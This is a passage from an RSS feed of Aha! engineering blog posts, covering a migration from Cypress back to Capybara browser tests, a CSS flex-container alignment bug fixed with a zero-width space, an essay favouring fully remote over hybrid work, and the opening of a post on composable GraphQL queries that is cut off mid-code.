&lt;p&gt;Now, we had already had flakiness problems with Capybara. A large portion of our engineering team (1 dev) had put in a significant amount of effort (a week sipping slightly stronger coffee and retiring early every day complaining of a faint headache) to solve the flakiness problems. We had it down to a tee. And so we entered into the Cypress world with confidence that the problem would be the same. We must have merely been writing our tests in the wrong way. &quot;It&apos;s not you, Cypress — it&apos;s us!&quot; we exclaimed.&lt;/p&gt;
&lt;h2&gt;It was Cypress&lt;/h2&gt;
&lt;p&gt;Unfortunately Cypress was intractable. It appeared we were not the only troubled fools. When your test framework needs a &lt;a href=&quot;https://docs.cypress.io/guides/cloud/flaky-test-management&quot;&gt;flaky test manager&lt;/a&gt;, your own efforts look pitiful by comparison. After one engineer ejected their laptop from a third-story window when Cypress couldn&apos;t be persuaded (nicely or harshly with sticks) to wait for a checkbox to be enabled before clicking on it, the team decided: we would move back to Capybara.&lt;/p&gt;
&lt;p&gt;I shed tears and wailed, for Capybara was slow. It took so long to re-run each time and progress through the test was a mystery. I preferred writing the tests in JavaScript — it felt more natural when driving a browser. However, the team had made a decision for good reason, even if this was not my preference.&lt;/p&gt;
&lt;p&gt;Making a decision and taking action are quite different steps though. We had tests written in both Cypress and Capybara. Converting the Cypress ones into Capybara wasn&apos;t that easy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Capybara had a worse developer experience than Cypress. This put a drag on both writing new tests and converting the existing ones.&lt;/li&gt;
&lt;li&gt;We had used a Cypress plugin to do image comparisons for charts.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So we did what any good team does and wrote a list of tests to convert and then did nothing for several months. This also added some drag to our development work — do you update the existing Cypress test or do the larger job of converting it to Capybara?&lt;/p&gt;
&lt;h2&gt;Image comparison functionality&lt;/h2&gt;
&lt;p&gt;Things came to a head while I was working on the &lt;a href=&quot;https://www.aha.io/support/develop/develop/reports/burndown-chart&quot;&gt;burndown charts&lt;/a&gt; for Aha! Develop. The image comparison we had in Cypress was a bit finicky to work with and the Capybara libraries that added image comparison had limitations. I wanted something better:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Multiple image storage so we could have a comparison that passed for developers and on CI where the rendering might be slightly different.&lt;/li&gt;
&lt;li&gt;Image diffs so we could see where the image had changed.&lt;/li&gt;
&lt;li&gt;Customizable fuzziness. Sometimes anti-aliasing around chart lines and text has imperceptible differences that we&apos;d like to ignore.&lt;/li&gt;
&lt;li&gt;Masking - If I take the image and make part of it transparent that area should be ignored.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Using the &lt;a href=&quot;https://imagemagick.org/script/compare.php&quot;&gt;compare&lt;/a&gt; tool in ImageMagick, I was able to write a Capybara add-on that achieved all of the above and more&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Contributions from others on our team added deferred checking, so that the image comparison errors wouldn&apos;t interrupt the whole test but would instead be output at the end, and tasks for downloading all the images from our CI server to make development faster.&lt;/p&gt;
&lt;p&gt;It was an arduous task to convert all the image comparison tests from Cypress to Capybara. However, this process gave me hope that not only could we do this, but we could also make the whole experience even better than Cypress.&lt;/p&gt;
&lt;h2&gt;Capybara developer experience&lt;/h2&gt;
&lt;p&gt;Cypress has a nice developer experience. The UI shows the test steps. When the test file is updated, the test is restarted automatically and you can see the progress as it runs the test. This gives you a nice simple feedback loop.&lt;/p&gt;
&lt;p&gt;When Capybara starts up, it needs to initialize the whole Rails application, start the web application, and start the browser. This means that, even with tools like &lt;a href=&quot;https://github.com/guard/guard&quot;&gt;Guard&lt;/a&gt;, the develop test loop is slow. The browser context is lost after each test run.&lt;/p&gt;
&lt;p&gt;Our Capybara tests are written in &lt;a href=&quot;https://rspec.info/&quot;&gt;RSpec&lt;/a&gt;. One of our team leads, &lt;a href=&quot;https://www.aha.io/blog/my-name-is-percy-hanna-this-is-why-i-joined-aha&quot;&gt;Percy Hanna&lt;/a&gt;, created a test runner that wraps the RSpec runner so that, at the end of the test, it halts waiting for input and reloads the test file. We then added file watching, which allowed it to reload automatically when the test file or JS files changed.&lt;/p&gt;
&lt;p&gt;What about reloading when the Ruby files changed? That turned out to be a harder problem. A running RSpec test did not seem to enjoy the Rails autoloader trying to change things.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The solution I came up with is to store information about the current browser session in the environment and then use &lt;a href=&quot;https://ruby-doc.org/3.2.0/Kernel.html#method-i-exec&quot;&gt;Kernel.exec&lt;/a&gt; to relaunch the test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;On test start, it captures the existing browser session. From a developer perspective, this is a little slower than test loop when the test files changes. But it keeps your browser session open with the DevTools open if you were using them.&lt;/p&gt;
&lt;h2&gt;Making Capybara better than Cypress&lt;/h2&gt;
&lt;p&gt;When using Cypress, I kept the test running while I developed. I really valued being able to see the progress through the test file, with each step listed out. Hovering over the steps even shows a snapshot of the browser at that step. This was good but didn&apos;t always work because it was loading the html at the time back into the browser.&lt;/p&gt;
&lt;p&gt;Ruby has an API called &lt;a href=&quot;https://ruby-doc.org/3.2.0/TracePoint.html&quot;&gt;TracePoint&lt;/a&gt;. This lets you hook into the running Ruby code and call blocks when certain things happen, like a line being run or a method being called.&lt;/p&gt;
&lt;p&gt;Using TracePoint, I was able to create a custom output that showed the line number and the line being run:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/9a2aeb11d092864df2ce7e85f5b0601e/line_running_in_terminal.png&quot; alt=&quot;test line running in terminal&quot;&gt;&lt;/p&gt;
&lt;p&gt;This looks great in the terminal and it&apos;s very helpful for understanding where the test is currently up to. If Cypress showed this information in the browser, could we do that with Capybara?&lt;/p&gt;
&lt;p&gt;Of course we can. The information can be poked into the browser by executing a bit of JavaScript before and after each step. This also gives us a stepping stone to further improvements, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Showing the line currently running and progressing through the whole test&lt;/li&gt;
&lt;li&gt;Displaying the failure in the browser&lt;/li&gt;
&lt;li&gt;Taking a screenshot at each step&lt;/li&gt;
&lt;li&gt;Capturing the Rails controller traces whenever the browser makes a request&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/eeb4288e7869577bc03e325cb3c2a34b/line_running_in_browser.png&quot; alt=&quot;test line running in browser&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;And miss Cypress I do not. With some time and some love, our Capybara test suite has far exceeded Cypress.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The syntax and methods are better for a team of Rails engineers. The querying and wait time execution in Capybara leads to flake-free tests. The lower-level nature of Capybara lends itself to understanding and extending to match the workflow.&lt;/p&gt;
&lt;p&gt;Now the development process I often use is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a Capybara scenario.&lt;/li&gt;
&lt;li&gt;Start the runner to watch the code and launch a browser on my second monitor.&lt;/li&gt;
&lt;li&gt;Edit the code and test scenario as I work, pushing the test further along towards the end goal.&lt;/li&gt;
&lt;li&gt;Use &lt;a href=&quot;https://rubygems.org/gems/byebug/versions/11.1.3&quot;&gt;Byebug&lt;/a&gt; in the test code to drive the browser.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Do you use Cypress, Capybara or some other browser testing tool? What are your experiences testing it and customizing it to match your team&apos;s workflow?&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Aha! is happy, healthy, and hiring. Join us!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This feature took a lot of tinkering and guidance from other engineers. Without such a knowledgeable and helpful team, I would not have arrived at this clean solution. If you want to build lovable software with this talented and growing team, &lt;a href=&quot;https://www.aha.io/company/careers/current-openings?category=engineering&quot;&gt;apply to an open role&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[CSS is hard no matter how good you are at it]]></title><description><![CDATA[Let us start by saying that CSS is hard. It seems that no matter how skilled
you get, you will still run into situations that completely…]]></description><link>https://www.aha.io/engineering/articles/css-is-hard-no-matter-how-good-you-are-at-it</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/css-is-hard-no-matter-how-good-you-are-at-it</guid><dc:creator><![CDATA[Jonathan Steel]]></dc:creator><pubDate>Thu, 23 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Let us start by saying that CSS is hard. It seems that no matter how skilled
you get, you will still run into situations that completely baffle you.
Sometimes you can hack around the situation, but other times you really need to
figure it out. When you need to dig in, having a helpful team and bringing
things down to first principles are the order of the day.&lt;/p&gt;
&lt;p&gt;I ran into this situation when refreshing pivot reports at Aha! to include
aesthetically pleasing user avatar pills instead of plain text.&lt;/p&gt;
&lt;p&gt;This is what we started with:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/8372298597722587379d61b2c866324a/initial_state.png&quot; alt=&quot;original&quot;&gt;&lt;/p&gt;
&lt;p&gt;And this is what we wanted to build:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/56bcd38afb6ba30c90ecb47116d1e965/final_state.png&quot; alt=&quot;final&quot;&gt;&lt;/p&gt;
&lt;p&gt;We had just updated the product value score to use pills in a similar manner,
so I figured this change would go smoothly. This was my initial result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/c035a1ddf086fd36e0841f08fde63cee/first_try.png&quot; alt=&quot;first try&quot;&gt;&lt;/p&gt;
&lt;p&gt;As you can see, the user pill does not vertically align with the rest of the
content on the row. Vertical alignment can be annoying — I get it. I figured
this was just some rogue styling getting in the way of what should have
otherwise been a simple alignment. I banged my head against this for quite a
while before admitting I had no idea what was going on. Normally after that
level of frustration, I would have just added &lt;code&gt;margin-top: 1px&lt;/code&gt; to the new user
avatar pill and called it a day. This component was being built for use in our
design system, so it had to work in all situations. A hacky margin fix would
cause issues in other situations.&lt;/p&gt;
&lt;p&gt;I work with a team that has accumulated a lot of CSS experience. Generally I
don&apos;t think there is anything they cannot handle. So I jumped on a couple calls
to work through the issue. They were just as confused as I was. The page in
question had a lot of moving parts. We have a lot of stylesheets, a design
system, an old design system, and a rather deep DOM structure — all affecting
this one location. We needed to step out of this complex environment.&lt;/p&gt;
&lt;p&gt;The best way forward was to create a sandbox and start paring this problem down
to the simplest use case possible. We were quickly able to get it working with
various different methods, but none of those were compatible with the exact use
case in the application. Whenever we reproduced the most basic example of how
we were going to use it, we had the issue.&lt;/p&gt;
&lt;p&gt;What really baffled me was that the Aha! product value score pills worked fine
and they were basically the same thing. So I recreated the product value score
situation and it worked.&lt;/p&gt;
&lt;iframe
  class=&quot;codepen&quot;
  height=&quot;300&quot;
  style=&quot;width: 100%;&quot;
  scrolling=&quot;no&quot;
  title=&quot;Simple example that works&quot;
  src=&quot;https://codepen.io/jsteel64/embed/xxJMXLa?default-tab=html%2Cresult&quot;
  frameborder=&quot;no&quot;
  loading=&quot;lazy&quot;
  allowtransparency=&quot;true&quot;
  allowfullscreen=&quot;true&quot;&gt;
&lt;/iframe&gt;
&lt;p&gt;The major difference between the two is that the product value score uses an
icon while the avatar pill uses an image. I replaced the &quot;icon&quot; span and
replaced it with an &lt;code&gt;img&lt;/code&gt; tag. The problem occurred.&lt;/p&gt;
&lt;iframe
  class=&quot;codepen&quot;
  height=&quot;300&quot;
  style=&quot;width: 100%;&quot;
  scrolling=&quot;no&quot;
  title=&quot;Simple example that works&quot;
  src=&quot;https://codepen.io/jsteel64/embed/rNrPYNQ?default-tab=html%2Cresult&quot;
  frameborder=&quot;no&quot;
  loading=&quot;lazy&quot;
  allowtransparency=&quot;true&quot;
  allowfullscreen=&quot;true&quot;&gt;
&lt;/iframe&gt;
&lt;p&gt;I knew I was close at that point. So then I pared the HTML down to just this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;pill&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt; Pill 1 &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;pill&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;wrapper&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Pill 2&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After some more fiddling, I determined that an empty first child of a flex
container will cause that flex container to vertically misalign with its other
flex container siblings. In my user avatar pill case, the first child is an
image that technically has no content. The person I was pairing with had the
idea to add a zero width space with a CSS rule, something that would be simple
and unobtrusive:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;.wrapper::before&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  content&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\200B&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That fixed the problem!&lt;/p&gt;
&lt;iframe
  class=&quot;codepen&quot;
  height=&quot;300&quot;
  style=&quot;width: 100%;&quot;
  scrolling=&quot;no&quot;
  title=&quot;Simple example that works&quot;
  src=&quot;https://codepen.io/jsteel64/embed/QWBYOKm?default-tab=html%2Cresult&quot;
  frameborder=&quot;no&quot;
  loading=&quot;lazy&quot;
  allowtransparency=&quot;true&quot;
  allowfullscreen=&quot;true&quot;&gt;
&lt;/iframe&gt;
&lt;p&gt;I tested this on all major browsers and they all had the
same issue. Needless to say, I was pretty confused by this outcome. I could have
pored over the w3 documentation to try and figure out why this was occurring,
but it was not worth the extra effort given the problem had a simple solution
that worked well.&lt;/p&gt;
&lt;p&gt;I think this story is a good example of how CSS can be hard, and no matter how
experienced your team is, you will still run into really difficult situations.
You should be able to solve your problem if you approach it in a methodically
structured way using the following tools:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Set a time box to ensure you do not waste too much time fighting the problem
at any step in your problem-solving. When you hit the time box, switch approaches.&lt;/li&gt;
&lt;li&gt;Grab a partner. Sometimes a more experienced CSS developer can help you solve
the problem. Sometimes all you need is a fresh set of eyes. Often pulling in one
partner will help you get past one hurdle, and then you have to pull in another
to get even further.&lt;/li&gt;
&lt;li&gt;Create a sandbox example. Build up the most basic use case you can. Then
iterate on it until you have the final solution that you can slot into your
actual use case.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Other developers at Aha! have run into this same situation elsewhere in our app.
We have a simple solution that works, but still do not fully understand why
browsers would choose this behavior. If you know the reason or have a different
solution, we would love to hear from you.
&lt;a href=&quot;https://www.aha.io/company/careers/current-openings&quot;&gt;Apply for a position&lt;/a&gt; and tell us all
about it.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Fully remote companies are better than hybrid]]></title><description><![CDATA[I have worked in many different environments throughout my career. I have worked in the same building as my teammates and even for a company…]]></description><link>https://www.aha.io/engineering/articles/fully-remote-companies-are-better-than-hybrid</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/fully-remote-companies-are-better-than-hybrid</guid><dc:creator><![CDATA[Jonathan Steel]]></dc:creator><pubDate>Thu, 26 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I have worked in many different environments throughout my career. I have worked in the same building as my teammates and even for a company that had us all in the same room. I have also worked in hybrid environments with a mix of in office and remote employees. In the hybrid case, I was always onsite. I had never been on the other side, where I was remote and there were other people physically together. And in my five years &lt;a href=&quot;https://www.aha.io/blog/my-name-is-jonathan-steel-this-is-why-i-joined-aha&quot;&gt;working for Aha!&lt;/a&gt;, I have always been grateful to work for a fully remote company.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I knew I did not want to work in an office anymore and only truly discovered while working at Aha! how great a remote team can be.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Fully distributed&lt;/h2&gt;
&lt;p&gt;Frequent communication and collaboration are invaluable to every group at a company. As an engineering team lead, I know this doesn&apos;t come as naturally to some as it does to others. Engineering team members can be especially susceptible to losing contact with the rest of the team and company when they are in a hybrid situation.&lt;/p&gt;
&lt;p&gt;When some people are in person and others are remote it is harder for everyone to succeed equally. Some teams may see the creative work, decision-making, and architecture being discussed without the remote engineer that will do the actual work. Those decisions are encoded in the form of features, tickets, or tasks that flow down to the engineer. If there is any confusion in the work assignments, it may be perceived as a communication error on the part of the remote engineer.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When everyone is remote, there are no communication barriers. We are all accustomed to jumping on a video call or sending a quick instant message.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Onsites&lt;/h2&gt;
&lt;p&gt;Twice a year, our entire company gets together in person for a week at a destination travel location that we call our company onsite. Everyone has an amazing time discussing the product roadmap, meeting with teammates, volunteering through our Aha! Cares program, and enjoying great meals together.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/54544016c829e0e4b5cc4792747a8fc2/onsite.jpeg&quot; alt=&quot;onsite&quot;&gt;&lt;/p&gt;
&lt;p&gt;In June 2022, Aha! was able to host an in-person onsite for the first time in over two years. Due to everyone&apos;s different circumstances, not everyone was able to attend, including me. We have a truly exceptional team that coordinates these events to include everyone as much as possible — whether onsite or offsite. But I was worried what that might look like.&lt;/p&gt;
&lt;p&gt;So what was it like? At Aha!, we go above and beyond with everything we do and this event was no exception. Everyone tried their hardest to make sure we felt included. We even had our own events that were just as memorable as those at the previous offsite.&lt;/p&gt;
&lt;p&gt;But hybrid work events are just not the same. Sometimes it was hard to hear side conversations and the random comments thrown out in the audience that caused a ripple of laughter.&lt;/p&gt;
&lt;p&gt;The positive takeaway from the experience was that it crystallized in my mind the idea that I never want to work for a hybrid company. I don&apos;t think hybrid environments can ever work without leaving some team members feeling left out.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This onsite (when I was offsite) had me feeling left out in a way that I didn&apos;t when we were all in person or all remote.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Some aspects of hybrid environments may improve over time. Technology, tools, and processes can always get better. As hybrid environments become more common, people may also become increasingly familiar and comfortable working with remote and colocated team members at the same time. Even with all those improvements, there is no way to include a remote employee in the random dinner a team might share together.&lt;/p&gt;
&lt;p&gt;I am lucky that Aha! will always make a great effort to include each and every team member. And I now know for certain that hybrid will never be as good as fully remote or fully in-person. My &lt;a href=&quot;https://www.aha.io/company/team&quot;&gt;teammates at Aha!&lt;/a&gt; are all so passionate and motivated to bring their best to work every day — 100% remote is what works for us. I am more excited than ever to work for a fully remote company and I am especially excited for our next company onsite.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Aha! is happy, healthy, and hiring. Join us!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We are challenged to do great work and have fun doing it. If you want to build lovable software with this talented and growing team, &lt;a href=&quot;https://www.aha.io/company/careers/current-openings?category=engineering&quot;&gt;apply to an open role&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Building a composable query generator for GraphQL]]></title><description><![CDATA[In a lot of newer projects, we use our GraphQL API. This is the same API you use when you're building Aha! Develop extensions. GraphQL has…]]></description><link>https://www.aha.io/engineering/articles/building-a-composable-query-framework-for-graphql</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/building-a-composable-query-framework-for-graphql</guid><dc:creator><![CDATA[Justin Weiss]]></dc:creator><pubDate>Thu, 12 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In a lot of newer projects, we use our &lt;a href=&quot;https://www.aha.io/support/develop/develop/extensions/graphql-api&quot;&gt;GraphQL API&lt;/a&gt;. This is the same API you use when you&apos;re building Aha! Develop extensions. GraphQL has given us a more consistent, more flexible, and often more efficient way to access the data inside an Aha! account.&lt;/p&gt;
&lt;p&gt;GraphQL queries are just strings:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; query&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  feature(id: &quot;DEMO-29&quot;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; response&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; fetch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;/api/v2/graphql&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  &quot;headers&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    &quot;Content-Type&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  &quot;method&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;POST&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  &quot;body&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ query }),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Strings are easy to start with and work well for simple, mostly static queries. But what about something more complex? What if you wanted the name of the person assigned to each feature but not when you&apos;re looking at a list of your own features? What if only some teams used sprints and you didn&apos;t want sprint information if a team didn&apos;t use them? How could you easily make wildly customizable views and only fetch the data you needed for that specific view?&lt;/p&gt;
&lt;p&gt;Simple interpolation is one option:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; sprintQuery&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; sprintsEnabled &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  sprint {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    startDate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    duration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
